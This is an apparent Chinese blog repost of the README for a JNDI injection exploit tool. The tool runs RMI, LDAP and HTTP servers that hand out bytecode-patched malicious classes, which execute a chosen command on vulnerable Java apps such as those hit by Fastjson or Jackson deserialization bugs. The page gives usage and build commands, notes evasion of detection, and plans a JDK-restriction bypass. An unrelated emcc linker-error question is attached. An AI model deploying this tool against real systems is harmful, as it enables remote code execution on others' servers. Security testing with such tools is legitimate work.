java asm jndi_JNDI-Injection-Exploit

介绍

最近把自己之前写的JNDI注入工具改了一下push到了github,地址:github,启动后这个工具开启了三个服务,包括RMI、LDAP以及HTTP服务,然后生成JNDI链接。测试时可以将JNDI链接插入到JNDI注入相关的POC中,如Jackson、Fastjson反序列化漏洞等。

三个服务中,RMI和LDAP基于marshalsec中RMIRefServer、LDAPRefServer类修改而成,分别监听1099及1389端口,HTTPserver提供恶意类的下载功能。

使用

可执行程序为jar包,在命令行中运行以下命令:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

-C - 远程class文件中要执行的命令。

(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

-A - 服务器地址,可以是IP地址或者域名。

(可选项 , 默认地址是第一个网卡地址)

注意:

要确保 1099、1389、8180端口可用,不被其他程序占用。

或者你也可以在run.ServerStart类26~28行更改默认端口。

命令会被作为参数传入Runtime.getRuntime().exec(),

所以需要确保命令传入exec()方法可执行。

示例

本地演示:

启动 JNDI-Injection-Exploit:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1

截图:

464a38b8413a6c8b0e99d6d31dae2607.png

我们需要把第一步中生成的 JNDI链接注入到存在漏洞的应用环境中,方便解释用如下代码模仿漏洞环境:

public static void main(String[] args) throws Exception{

InitialContext ctx = new InitialContext();

ctx.lookup("rmi://127.0.0.1/fgf4fp");

}

当上面代码运行后,应用便会执行相应命令,这里是弹出计算器,没截图,可以自己测一下。

截图是工具的server端日志:

4be1a7ba5450364023f7a169b31d5daf.png

安装

下面两种方法都可以得到Jar包

从 Realease直接下载最新的Jar。

把源码下载到本地然后自行编译打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以)

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

$ cd JNDI-Injection-Exploit

$ mvn clean package -DskipTests

工具实现

首先生成的链接后面codebaseClass是6位随机的,这个是因为不希望让工具生成的链接本身成为一种特征被监控或拦截。

服务器地址实际就是codebase地址,相比于marshalsec中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTP server返回相应class,更自动化或者说更无脑了。

HTTP server基于jetty实现的,其实就是一个能下载文件的servlet,比较有意思的是我提前编译好class模板放到resource目录,然后servlet会读取class文件,使用ASM框架对读取的字节码进行修改,然后插入我们想要执行的命令,返回修改后的字节码,这里其实使用javassist更简单也方便些,因为引用的RMIRefServer有使用javassist。

待实现

在更高版本的JDK环境中trustURLCodebase变量为false,限制了远程类的加载,我会找时间把JNDI-Injection-Bypass这个项目的东西融入到本项目中,生成能绕过JDK限制JNDI链接。

… ...

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
下面是我 运行终端代码后的返回,请帮我解释下:shenhaibo@bogon webAssembly % emcc add.c -s WASM=1 -o add.wasm wasm-ld: error: /opt/homebrew/Cellar/emscripten/3.1.40/libexec/cache/sysroot/lib/wasm32-emscripten/libstandalonewasm-nocatch.a(__main_void.o): undefined symbol: main emcc: error: '/opt/homebrew/Cellar/emscripten/3.1.40/libexec/llvm/bin/wasm-ld -o add.wasm /var/folders/hd/zkctfvz128366gcjfw9pgslr0000gn/T/emscripten_temp_0gmz58hs/add_0.o -L/opt/homebrew/Cellar/emscripten/3.1.40/libexec/cache/sysroot/lib/wasm32-emscripten /opt/homebrew/Cellar/emscripten/3.1.40/libexec/cache/sysroot/lib/wasm32-emscripten/crt1.o -lGL -lal -lhtml5 -lstandalonewasm-nocatch -lstubs-debug -lc-debug -ldlmalloc -lcompiler_rt -lc++-noexcept -lc++abi-debug-noexcept -lsockets -mllvm -combiner-global-alias-analysis=false -mllvm -enable-emscripten-sjlj -mllvm -disable-lsr /var/folders/hd/zkctfvz128366gcjfw9pgslr0000gn/T/tmp6m8wb6r0libemscripten_js_symbols.so --strip-debug --export-if-defined=__start_em_asm --export-if-defined=__stop_em_asm --export-if-defined=__start_em_lib_deps --export-if-defined=__stop_em_lib_deps --export-if-defined=__start_em_js --export-if-defined=__stop_em_js --export=emscripten_stack_get_end --export=emscripten_stack_get_free --export=emscripten_stack_get_base --export=emscripten_stack_get_current --export=emscripten_stack_init --export=stackSave --export=stackRestore --export=stackAlloc --export=__errno_location --export-table -z stack-size=65536 --initial-memory=16777216 --max-memory=16777216 --stack-first' failed (returned 1) shenhaibo@bogon webAssembly %
06-07

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值